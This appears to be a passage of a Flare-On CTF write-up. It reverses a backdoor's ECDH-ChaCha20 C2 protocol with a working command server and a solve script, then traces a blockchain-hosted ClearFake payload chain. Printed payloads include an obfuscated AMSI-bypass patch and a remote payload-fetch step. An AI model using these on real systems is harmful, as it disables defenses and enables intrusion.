  gen = (*(__int64 (__fastcall **)(void *, __int64, __int64))(*(_QWORD *)v11->curve
                                                            + 88i64))(
          v11->curve,
          gen_x,                                // __int64 __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECCurve__CreatePoint(__int64 *a1, __int64 a2, __int64 a3)
          gen_y);
  RhpAssignRefAVLocation(&v11->gen, gen);
  sys_random = RhpNewFast(&unk_14015B188);
  Prng = BouncyCastle_Cryptography_Org_BouncyCastle_Security_SecureRandom__CreatePrng(&qword_140149B98, 1i64);
  S_P_CoreLib_System_Random___ctor_0(sys_random, 0i64);
  RhpAssignRefAVLocation((void **)(sys_random + 16), Prng);
  RhpAssignRefAVLocation(&v11->prng, sys_random);
}

void __stdcall do_kex()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  memset(bufs, 0, sizeof(bufs));
  if ( qword_140158FC0[-1] )
    _GetGCStaticBase_System_Net_Sockets_System_Net_Sockets_SocketsTelemetry();
  objs = glb_obj_state;
  bigint_0x13371337 = RhpNewFast(&unk_14015B268);
  str_13371337 = dec_str(&qword_14013E9F8);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(bigint_0x13371337, (__int64)str_13371337, 16);
  if ( !objs->gen || !objs->socket_stream )
  {
    v42 = RhpNewFast(&unk_140160BA8);
    str_null = dec_str(&qword_14013FF20);
    S_P_CoreLib_System_InvalidOperationException___ctor_0(v42, (unsigned __int64)str_null);
    RhpThrowEx(v42);
  }
  privkey = get_privkey(128);
  v4 = (*(__int64 (__fastcall **)(void *, __int64))(*(_QWORD *)objs->gen + 224i64))(objs->gen, privkey);// __int64 BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECPointBase__Multiply(__int64 a1, __int64 a2)
  v5 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v4 + 136i64))(v4);// __int64 __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECPoint__Normalize(_QWORD *a1)
  P = v5;
  if ( *(_QWORD *)(v5 + 16) )
    v7 = 0;
  else
    v7 = *(_QWORD *)(v5 + 24) == 0i64;
  if ( v7 )
  {
    v44 = RhpNewFast(&unk_140160BA8);
    str_inf = dec_str(&qword_14013FF48);
    S_P_CoreLib_System_InvalidOperationException___ctor_0(v44, (unsigned __int64)str_inf);
    RhpThrowEx(v44);
  }
  buf_0x30 = RhpNewArray(word_14018B688, 0x30ui64);
  v9 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)P + 80i64))(P);// AffineXCoord?
  Px = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v9 + 48i64))(v9);
  v11 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(Px, bigint_0x13371337);
  bufs[1].data = (void *)(buf_0x30 + 16);
  bufs[1].size = 48;
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2((__int64)v11, 1, (__int64)&bufs[1]);
  socket_stream = objs->socket_stream;
  bufs[0].data = (void *)(buf_0x30 + 16);
  bufs[0].size = 48;
  System_Net_Sockets_System_Net_Sockets_NetworkStream__Write_0(socket_stream, bufs);
  v13 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)P + 88i64))(P);// AffineYCoord?
  Py = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v13 + 48i64))(v13);
  v15 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(Py, bigint_0x13371337);
  bufs[1].data = (void *)(buf_0x30 + 16);
  bufs[1].size = 48;
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2((__int64)v15, 1, (__int64)&bufs[1]);
  v16 = objs->socket_stream;
  bufs[0].data = (void *)(buf_0x30 + 16);
  bufs[0].size = 48;
  System_Net_Sockets_System_Net_Sockets_NetworkStream__Write_0(v16, bufs);
  v17 = objs->socket_stream;
  bufs[1].data = (void *)(buf_0x30 + 16);
  bufs[1].size = 48;
  System_Net_Sockets_System_Net_Sockets_NetworkStream__Read_0((__int64)v17, (__int64)&bufs[1]);
  v18 = RhpNewFast(&unk_14015B268);
  if ( *(&qword_140158AC8 - 1) )
    _GetGCStaticBase_BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger();
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_9(v18, 1, buf_0x30, 0, 0x30u, 1);
  M1x = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(v18, bigint_0x13371337);
  v20 = objs->socket_stream;
  bufs[1].data = (void *)(buf_0x30 + 16);
  bufs[1].size = 48;
  System_Net_Sockets_System_Net_Sockets_NetworkStream__Read_0((__int64)v20, (__int64)&bufs[1]);
  v21 = RhpNewFast(&unk_14015B268);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_9(v21, 1, buf_0x30, 0, 48u, 1);
  M1y = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(v21, bigint_0x13371337);
  v23 = (*(__int64 (__fastcall **)(void *, uint32_t *, uint32_t *))(*(_QWORD *)objs->curve + 80i64))(
          objs->curve,
          M1x,
          M1y);                                 // __int64 __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECCurve__ValidatePoint(__int64 a1)
  v24 = (*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)v23 + 224i64))(v23, privkey);// __int64 __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_ECPointBase__Multiply(__int64 a1, __int64 a2)
  v25 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v24 + 136i64))(v24);// Normalize
  M1 = v25;
  if ( *(_QWORD *)(v25 + 16) )
    v27 = 0;
  else
    v27 = *(_QWORD *)(v25 + 24) == 0i64;
  if ( v27 )
  {
    v46 = RhpNewFast(&unk_140160BA8);
    str_inf_1 = dec_str(&qword_14013FF48);
    S_P_CoreLib_System_InvalidOperationException___ctor_0(v46, (unsigned __int64)str_inf_1);
    RhpThrowEx(v46);
  }
  v28 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)M1 + 80i64))(M1);// AffineXCoord
  Mx = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v28 + 48i64))(v28);
  bufs[1].data = (void *)(buf_0x30 + 16);
  bufs[1].size = 48;
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2(Mx, 1, (__int64)&bufs[1]);
  v30 = (void *)System_Security_Cryptography_System_Security_Cryptography_SHA512__HashData(buf_0x30);
  if ( v30 )
  {
    keybuf = (char *)v30 + 16;
    keylen = *((unsigned int *)v30 + 2);
  }
  else
  {
    keybuf = 0i64;
    keylen = 0i64;
  }
  if ( (unsigned int)keylen < 40 )
    S_P_CoreLib_System_ThrowHelper__ThrowArgumentOutOfRangeException(keylen);
  v33 = (void *)RhpNewFast(&unk_14015C6C0);
  if ( *(&qword_140158AF8 - 1) )
    sub_1400010AE();                            // void __fastcall BouncyCastle_Cryptography_Org_BouncyCastle_Crypto_Engines_Salsa20Engine___cctor(__int64 a1, __int64 a2)
  BouncyCastle_Cryptography_Org_BouncyCastle_Crypto_Engines_ChaChaEngine___ctor_0(v33, qword_140158AF8);
  RhpAssignRefAVLocation(&objs->chacha, (unsigned __int64)v33);
  ptr_key = RhpNewFast(&unk_14015C5B8);
  key = RhpNewArray(word_14018B688, 0x20ui64);
  v36 = *((_OWORD *)keybuf + 1);
  *(_OWORD *)(key + 16) = *(_OWORD *)keybuf;
  *(_OWORD *)(key + 32) = v36;
  RhpAssignRefAVLocation((void **)(ptr_key + 8), key);
  params = RhpNewFast(&unk_14015C610);
  RhpAssignRefAVLocation((void **)(params + 8), ptr_key);
  iv = RhpNewArray(word_14018B688, 8ui64);
  *(_QWORD *)(iv + 16) = *((_QWORD *)keybuf + 4);
  RhpAssignRefAVLocation((void **)(params + 16), iv);
  qword_14015A6C0(objs->chacha, 1i64, params);  // ChaChaEngine.Init(...)
  v39 = sub_1401083C0();
  str_verify = dec_str(&qword_140140100);
  if ( !(unsigned int)String__Equals_0(v39, str_verify) )
  {
    v48 = RhpNewFast(&unk_140160BA8);
    str_verify_failed = dec_str(&qword_140140130);
    S_P_CoreLib_System_InvalidOperationException___ctor_0(v48, (unsigned __int64)str_verify_failed);
    RhpThrowEx(v48);
  }
  str_verify_1 = dec_str(&qword_140140100);
  send_enc_socket(str_verify_1);
}

void __stdcall Program_Main()
{
  Program_static *objs; // rbx
  void *str_addr_port; // rsi
  unsigned __int64 *str_delim; // rdx
  _QWORD *v3; // rax
  __int64 v4; // rcx
  __int64 hostname; // rsi
  __int64 v6; // rax
  void *v7; // rdi
  uint32_t v8; // r14d
  __int64 CurrentInfo; // rax
  int v10; // eax
  unsigned int port; // edi
  __int64 v12; // r14
  unsigned __int64 Stream; // rax
  array v14; // [rsp+28h] [rbp-40h] BYREF
  __int64 v15[5]; // [rsp+38h] [rbp-30h] BYREF

  v14 = 0i64;
  v15[0] = 0i64;
  if ( qword_140158FC0[-1] )
    _GetGCStaticBase_System_Net_Sockets_System_Net_Sockets_SocketsTelemetry();
  objs = glb_obj_state;
  str_addr_port = dec_str(&qword_14013EB90);
  str_delim = (unsigned __int64 *)dec_str(&qword_14013F060);
  if ( !str_delim )
    str_delim = &qword_14013A048;
  v3 = str_split(str_addr_port, str_delim, 0i64, 0x7FFFFFFF, 0);
  v4 = *((unsigned int *)v3 + 2);
  if ( !(_DWORD)v4 || (hostname = v3[2], (unsigned int)v4 <= 1) )
    S_P_CoreLib_Internal_Runtime_CompilerHelpers_ThrowHelpers__ThrowIndexOutOfRangeException(v4);
  v6 = v3[3];
  if ( !v6 )
    S_P_CoreLib_System_ThrowHelper__ThrowArgumentNullException(17i64);
  v7 = (void *)(v6 + 12);
  v8 = *(_DWORD *)(v6 + 8);
  v14.data = (void *)(v6 + 12);
  v14.size = v8;
  CurrentInfo = S_P_CoreLib_System_Globalization_NumberFormatInfo__get_CurrentInfo();
  v10 = sub_14012B5E0(&v14, 7, CurrentInfo, (int *)v15);
  if ( v10 )
  {
    if ( v10 == 1 )
    {
      v14.data = v7;
      v14.size = v8;
      sub_1401292F0((__int64)&v14);
    }
    sub_14012F480();
  }
  port = v15[0];
  v12 = RhpNewFinalizable(&unk_14015EC20);
  new_socket(v12, hostname, port);
  RhpAssignRefAVLocation(&objs->socket, v12);
  Stream = System_Net_Sockets_System_Net_Sockets_TcpClient__GetStream((__int64)objs->socket);
  RhpAssignRefAVLocation(&objs->socket_stream, Stream);
  do_kex();
  handle_cmd();
}

Homebrew server:

from sage.all import *

import hashlib
import random
import socketserver
import socket

from Crypto.Cipher.ChaCha20 import new as new_chacha20, ChaCha20Cipher

CURVE_Q = 0xC90102FAA48F18B5EAC1F76BB40A1B9FB0D841712BBE3E5576A7A56976C2BAECA47809765283AA078583E1E65172A3FD
CURVE_A = 0xA079DB08EA2470350C182487B50F7707DD46A58A1D160FF79297DCC9BFAD6CFC96A81C4A97564118A40331FE0FC1327F
CURVE_B = 0x9F939C02A7BD7FC263A4CCE416F4C575F28D0C1315C4F0C282FCA6709A5F9F7F9C251C9EEDE9EB1BAA31602167FA5380
CURVE_GX = 0x087B5FE3AE6DCFB0E074B40F6208C8F6DE4F4F0679D6933796D3B9BD659704FB85452F041FFF14CF0E9AA7E45544F9D8
CURVE_GY = 0x127425C1D330ED537663E87459EAA1B1B53EDFE305F6A79B184B3180033AAB190EB9AA003E02E9DBF6D593C5E3B08182

K = GF(CURVE_Q)
E = EllipticCurve(K, (K(CURVE_A), K(CURVE_B)))
G = E(CURVE_GX, CURVE_GY)

XOR_KEY = 0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337

def recv_str(s: socket.socket, chacha: ChaCha20Cipher) -> bytes:
    buf = bytearray()
    while True:
        ch = s.recv(1)
        if len(ch) == 0:
            break
        ch = chacha.encrypt(ch[0:1])[0]
        if ch == 0:
            break
        buf.append(ch)
    return bytes(buf)

class Handler(socketserver.StreamRequestHandler):
    request: socket.socket

    def handle(self):
        print(f"[*] conn: from {self.client_address}")
        Px = int.from_bytes(self.request.recv(48), "big") ^ XOR_KEY
        Py = int.from_bytes(self.request.recv(48), "big") ^ XOR_KEY
        P = E(Px, Py)
        print(f"[*] kex: P = {P}")
        k = random.randint(2, CURVE_Q - 1)
        print(f"[*] kex: k = {k}")
        M = k * P
        assert not M.is_zero()
        C = k * G
        print(f"[*] kex: C = {C}")
        keybuf = hashlib.sha512(int(M.x()).to_bytes(48, "big")).digest()
        key, iv = keybuf[:32], keybuf[32:32+8]
        print("[*] kex: key:", key.hex())
        print("[*] kex: iv:", iv.hex())
        self.request.sendall((int(C.x()) ^ XOR_KEY).to_bytes(48, "big"))
        self.request.sendall((int(C.y()) ^ XOR_KEY).to_bytes(48, "big"))
        chacha = new_chacha20(key=key, nonce=iv)
        self.request.sendall(chacha.encrypt(b"verify\x00"))
        assert recv_str(self.request, chacha) == b"verify"
        print("[+] Connected.")
        while True:
            try:
                cmd = input("> ")
                self.request.sendall(chacha.encrypt(cmd.encode("ascii") + b"\x00"))
                data = recv_str(self.request, chacha)
                print(data.decode("ascii", errors="replace"))
            except:
                print("[*] Closing.")
                break

with socketserver.TCPServer(("0.0.0.0", 31339), Handler) as server:
    print(f"[*] Listening on {server.server_address}")
    server.serve_forever()

ECDH -> ChaCha20

For a custom curve $C$ and its generator $G$, randomly sample a 128-bit $n$, send $nG$, receive $M=kG$, calculate $S=nM=nkG$, use $\mathrm{SHA512}(S_x)$ as key and IV.

Apply Pohlig-Hellman attack to obtain DL $k’$ over the system of congruences of smaller-order subgroups, then apply a small amount of brute forcing the equation $k’+im=k$ where $m$ is the product of orders of said subgroups. This is feasible because both $k’$ and $m$ are close (~10 bits) to the upper bound of $k$.

from sage.all import *

import hashlib

from Crypto.Cipher.ChaCha20 import new as new_chacha20
from tqdm import tqdm

CURVE_Q = 0xC90102FAA48F18B5EAC1F76BB40A1B9FB0D841712BBE3E5576A7A56976C2BAECA47809765283AA078583E1E65172A3FD
CURVE_A = 0xA079DB08EA2470350C182487B50F7707DD46A58A1D160FF79297DCC9BFAD6CFC96A81C4A97564118A40331FE0FC1327F
CURVE_B = 0x9F939C02A7BD7FC263A4CCE416F4C575F28D0C1315C4F0C282FCA6709A5F9F7F9C251C9EEDE9EB1BAA31602167FA5380
CURVE_GX = 0x087B5FE3AE6DCFB0E074B40F6208C8F6DE4F4F0679D6933796D3B9BD659704FB85452F041FFF14CF0E9AA7E45544F9D8
CURVE_GY = 0x127425C1D330ED537663E87459EAA1B1B53EDFE305F6A79B184B3180033AAB190EB9AA003E02E9DBF6D593C5E3B08182

K = GF(CURVE_Q)
E = EllipticCurve(K, (K(CURVE_A), K(CURVE_B)))
G = E(CURVE_GX, CURVE_GY)

XOR_KEY = 0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337

PX = 0x0A6C559073DA49754E9AD9846A72954745E4F2921213ECCDA4B1422E2FDD646FC7E28389C7C2E51A591E0147E2EBE7AE ^ XOR_KEY
PY = 0x264022DAF8C7676A1B2720917B82999D42CD1878D31BC57B6DB17B9705C7FF2404CBBF13CBDB8C096621634045293922 ^ XOR_KEY
P = E(PX, PY)

MX = 0xA0D2EBA817E38B03CD063227BD32E353880818893AB02378D7DB3C71C5C725C6BBA0934B5D5E2D3CA6FA89FFBB374C31 ^ XOR_KEY
MY = 0x96A35EAF2A5E0B430021DE361AA58F8015981FFD0D9824B50AF23B5CCF16FA4E323483602D0754534D2E7A8AAF8174DC ^ XOR_KEY
C = E(MX, MY)

CIPHER = bytes.fromhex("f272d54c31860f3fbd43da3ee32586dfd7c50cea1c4aa064c35a7f6e3ab0258441ac1585c36256dea83cac93007a0c3a29864f8e285ffa79c8eb43976d5b587f8f35e699547116fcb1d2cdbba979c989998c61490bce39da577011e0d76ec8eb0b8259331def13ee6d86723eac9f0428924ee7f8411d4c701b4d9e2b3793f6117dd30dacba2cae600b5f32cea193e0de63d709838bd6a7fd35edf0fc802b15186c7a1b1a475daf94ae40f6bb81afcedc4afb158a5128c28c91cd7a8857d12a661acaecaec8d27a7cf26a1727368535a44e2f3917ed09447ded797219c966ef3dd5705a3c32bdb1710ae3b87fe66669e0b4646fc416c399c3a4fe1edc0a3ec5827b84db5a79b81634e7c3afe528a4da15457b637815373d4edcac2159d056f5981f71c7ea1b5d8b1e5f06fc83b1def38c6f4e694e3706412eabf54e3b6f4d19e8ef46b04e399f2c8ece8417fa4008bc54e41ef701fee74e80e8dfb54b487f9b2e3a277fa289cf6cb8df986cdd387e342ac9f5286da11ca27840845ca68d1394be2a4d3d4d7c82e531b6dac62ef1ad8dc1f60b79265ed0deaa31ddd2d53aa9fd9343463810f3e2232406366b48415333d4b8ac336d4086efa0f15e6e590d1ec06f36")

def pohlig_hellman(P, Q):
    zList = []
    conjList = []
    rootList = []
    n = P.order()
    factors = n.factor()
    modulus = 1
    print(f"factors: {factors}")
    for base, exp in factors:
        if base > 10000000:
            continue
        modulus *= base ** exp
        P0 = (ZZ(n / base)) * P
        conjList.append(0)
        rootList.append(base ** exp)
        for i in range(exp):
            Qpart = Q
            for j in range(1, i + 1):
                Qpart = Qpart - (zList[j - 1] * (base ** (j - 1)) * P)
            Qi = (ZZ(n / (base ** (i + 1)))) * Qpart
        print(f"subgroup {base}**{exp}")
        zList.insert(i, Qi.log(P0))
        conjList[-1] = conjList[-1] + zList[i] * (base ** i)
    k = crt(conjList, rootList)
    return k, modulus

print("start ecdlp")
kp, modulus = pohlig_hellman(G, P)
print(kp)

for i in tqdm(range(1, 100000)):
    k = K(kp + i * modulus)
    if k * G == P:
        print(f"found: {k}")
        break

M = k * C
keybuf = hashlib.sha512(int(M.x()).to_bytes(48, "big")).digest()
key, iv = keybuf[:32], keybuf[32:32+8]
chacha = new_chacha20(key=key, nonce=iv)
print(chacha.encrypt(CIPHER))
verify\x00verify\x00ls\x00=== dirs ===\r\nsecrets\r\n=== files ===\r\nfullspeed.exe\r\n\x00cd|secrets\x00ok\x00ls\x00=== dirs ===\r\nsuper secrets\r\n=== files ===\r\n\x00cd|super secrets\x00ok\x00ls\x00=== dirs ===\r\n.hidden\r\n=== files ===\r\n\x00cd|.hidden\x00ok\x00ls\x00=== dirs ===\r\nwait, dot folders aren't hidden on windows\r\n=== files ===\r\n\x00cd|wait, dot folders aren't hidden on windows\x00ok\x00ls\x00=== dirs ===\r\n=== files ===\r\nflag.txt\r\n\x00cat|flag.txt\x00RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==\x00exit\x00

CyberChef decoding recipe

D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com

8 - clearlyfake

I am also considering a career change myself but this beautifully broken JavaScript was injected on my WordPress site I use to sell my hand-made artisanal macaroni necklaces, not sure what’s going on but there’s something about it being a Clear Fake? Not that I’m Smart enough to know how to use it or anything but is it a Contract? 7zip archive password: flare

Basic Solidity/EVM reverse engineering challenge with matryoshka-like structure. Stripping off all these layers took efforts, but it fell short before what came after it.

from web3 import Web3

# Connect to the Ethereum node
web3 = Web3(Web3.HTTPProvider("https://bsc-testnet.blockpi.network/v1/rpc/public"))

# Check if connected
if web3.is_connected():
    print("Connected to Ethereum node")

# Specify the contract address
contract_address = bytes.fromhex("9223f0630c598a200f99c5d4746531d10319a569")

# Fetch the bytecode
bytecode = web3.eth.get_code(contract_address)

# Print the bytecode
print(f"Bytecode for contract at {contract_address}: {bytecode.hex()}")
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
  try {
    const methodId = "0x5684cff5";
    const encodedData =
      methodId +
      web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
    const result = await web3.eth.call({
      to: contractAddress,
      data: encodedData,
    });
    const largeString = web3.eth.abi.decodeParameter("string", result);
    const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
    const filePath = "decoded_output.txt";
    fs.writeFileSync(filePath, "$address = " + targetAddress + "\\n");
    const new_methodId = "0x5c880fcb";
    const blockNumber = 43152014;
    const newEncodedData =
      new_methodId +
      web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
    const newData = await web3.eth.call(
      { to: contractAddress, data: newEncodedData },
      blockNumber
    );
    const decodedData = web3.eth.abi.decodeParameter("string", newData);
    const base64DecodedData = Buffer.from(decodedData, "base64").toString(
      "utf-8"
    );
    fs.writeFileSync(filePath, decodedData);
    console.log(`Saved decoded data to:${filePath}`);
  } catch (error) {
    console.error("Error calling contract function:", error);
  }
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
_// Decompiled by library.dedaub.com_
_// 2024.08.29 21:32 UTC_
_// Compiled using the solidity compiler version 0.8.26_

function function_selector() public payable { 
    revert();
}

function testStr(string str) public payable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(str <= uint64.max);
    require(4 + str + 31 < 4 + (msg.data.length - 4));
    require(str.length <= uint64.max, Panic(65)); _// failed memory allocation (too much memory)_
    v0 = new bytes[](str.length);
    require(!((v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); _// failed memory allocation (too much memory)_
    require(str.data + str.length <= 4 + (msg.data.length - 4));
    CALLDATACOPY(v0.data, str.data, str.length);
    v0[str.length] = 0;
    if (v0.length == 17) {
        require(0 < v0.length, Panic(50)); _// access an out-of-bounds or negative index of bytesN array or slice_
        v1 = v0.data;
        if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
            require(1 < v0.length, Panic(50)); _// access an out-of-bounds or negative index of bytesN array or slice_
            if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {
                ... // Snipped for brevity
            } else {
                v6 = v22 = 0x53387f3321fd69d1e030bb921230dfb188826aff;
            }
        } else {
            v6 = v23 = 0x40d3256eb0babe89f0ea54edaa398513136612f5;
        }
    } else {
        v6 = v24 = 0x76d76ee8823de52a1a431884c2ca930c5e72bff3;
    }
    MEM[MEM[64]] = address(v6);
    return address(v6);
}

_// Note: The function selector is not present in the original solidity code._
_// However, we display it for the sake of completeness._

function function_selector( function_selector) public payable { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x5684cff5 == function_selector >> 224) {
            testStr(string);
        }
    }
    fallback();
}

CyberChef recipe

giV3_M3_p4yL04d!

Contract at 0x5324EAB94b236D4d1456Edc574363B113CEbf09d:

_// Decompiled by library.dedaub.com_
_// 2024.09.28 13:35 UTC_
_// Compiled using the solidity compiler version 0.8.26_

_// Data structures and variables inferred from the use of storage instructions_
uint256[] array_0; _// STORAGE[0x0]_

function 0x14a(bytes varg0) private { 
    require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
    require(varg0.length <= uint64.max, Panic(65)); _// failed memory allocation (too much memory)_
    v0 = 0x483(array_0.length);
    if (v0 > 31) {
        v1 = v2 = array_0.data;
        v1 = v3 = v2 + (varg0.length + 31 >> 5);
        while (v1 < v2 + (v0 + 31 >> 5)) {
            STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
            v1 = v1 + 1;
        }
    }
    v4 = v5 = 32;
    if (varg0.length > 31 == 1) {
        v6 = array_0.data;
        v7 = v8 = 0;
        while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
            STORAGE[v6] = MEM[varg0 + v4];
            v6 = v6 + 1;
            v4 = v4 + 32;
            v7 = v7 + 32;
        }
        if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
            STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
        }
        array_0.length = (varg0.length << 1) + 1;
    } else {
        v9 = v10 = 0;
        if (varg0.length) {
            v9 = MEM[varg0.data];
        }
        array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
    }
    return ;
}

function fallback() public payable { 
    revert();
}

function 0x5c880fcb() public payable { 
    v0 = 0x483(array_0.length);
    v1 = new bytes[](v0);
    v2 = v3 = v1.data;
    v4 = 0x483(array_0.length);
    if (v4) {
        if (31 < v4) {
            v5 = v6 = array_0.data;
            do {
                MEM[v2] = STORAGE[v5];
                v5 += 1;
                v2 += 32;
            } while (v3 + v4 <= v2);
        } else {
            MEM[v3] = array_0.length >> 8 << 8;
        }
    }
    v7 = new bytes[](v1.length);
    MCOPY(v7.data, v1.data, v1.length);
    v7[v1.length] = 0;
    return v7;
}

function 0x483(uint256 varg0) private { 
    v0 = v1 = varg0 >> 1;
    if (!(varg0 & 0x1)) {
        v0 = v2 = v1 & 0x7f;
    }
    require((varg0 & 0x1) - (v0 < 32), Panic(34)); _// access to incorrectly encoded storage byte array_
    return v0;
}

function owner() public payable { 
    return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}

function 0x916ed24b(bytes varg0) public payable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(varg0 <= uint64.max);
    require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
    require(varg0.length <= uint64.max, Panic(65)); _// failed memory allocation (too much memory)_
    v0 = new bytes[](varg0.length);
    require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); _// failed memory allocation (too much memory)_
    require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
    CALLDATACOPY(v0.data, varg0.data, varg0.length);
    v0[varg0.length] = 0;
    0x14a(v0);
}

_// Note: The function selector is not present in the original solidity code._
_// However, we display it for the sake of completeness._

function __function_selector__() private { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x5c880fcb == msg.data[0] >> 224) {
            0x5c880fcb();
        } else if (0x8da5cb5b == msg.data[0] >> 224) {
            owner();
        } else if (0x916ed24b == msg.data[0] >> 224) {
            0x916ed24b();
        }
    }
    fallback();
}

Testnet BSCScan result

Replacer regex: Storage Address:\n\s*0x[0-9a-f]+\nBefore:\n(?:\s*0x[0-9a-f]+\n)?After:\n\s*0x([0-9a-f]+)

One intelligible content:

CyberChef 1; CyberChef 2

#Rasta-mouses Amsi-Scan-Buffer patch \n
$fhfyc = @"
using System;
using System.Runtime.InteropServices;
public class fhfyc {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ixajmz, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $fhfyc

$nzwtgvd = [fhfyc]::LoadLibrary("$(('ãmsí.'+'dll').NOrmAlizE([cHaR](70*31/31)+[char](111)+[Char]([Byte]0x72)+[CHaR](109+60-60)+[ChaR](54+14)) -replace [chaR]([bYTE]0x5c)+[CHar]([bYTE]0x70)+[ChAR](123+2-2)+[CHar]([byte]0x4d)+[ChAR]([bYTE]0x6e)+[char]([byTE]0x7d))")
$njywgo = [fhfyc]::GetProcAddress($nzwtgvd, "$(('ÁmsìSc'+'änBuff'+'er').NOrmALIzE([CHaR]([bYTE]0x46)+[Char]([bYTe]0x6f)+[cHAr]([bYTE]0x72)+[CHar](109)+[cHaR]([ByTe]0x44)) -replace [chAR](92)+[Char]([byTE]0x70)+[chaR]([bYTE]0x7b)+[chaR]([BYtE]0x4d)+[char](21+89)+[chaR](31+94))")
$p = 0
[fhfyc]::VirtualProtect($njywgo, [uint32]5, 0x40, [ref]$p)
$haly = "0xB8"
$ddng = "0x57"
$xdeq = "0x00"
$mbrf = "0x07"
$ewaq = "0x80"
$fqzt = "0xC3"
$yfnjb = [Byte[]] ($haly,$ddng,$xdeq,$mbrf,+$ewaq,+$fqzt)
[System.Runtime.InteropServices.Marshal]::Copy($yfnjb, 0, $njywgo, 6)

amsi.dll, AmsiScanBuffer()

Another obfuscated code:

Testnet BSCScan result

CyberChef 1, CyberChef 2

Set-Variable -Name testnet_endpoint -Value (" ")
Set-Variable -Name _body -Value ('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, BLOCK],"id":1,"jsonrpc":"2.0"}')
Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)
# Remove the '0x' prefix
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {
        Set-Variable -Name startIndex -Value ($_ * 2)
        Set-Variable -Name endIndex -Value ($startIndex + 1)
        [Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
    })
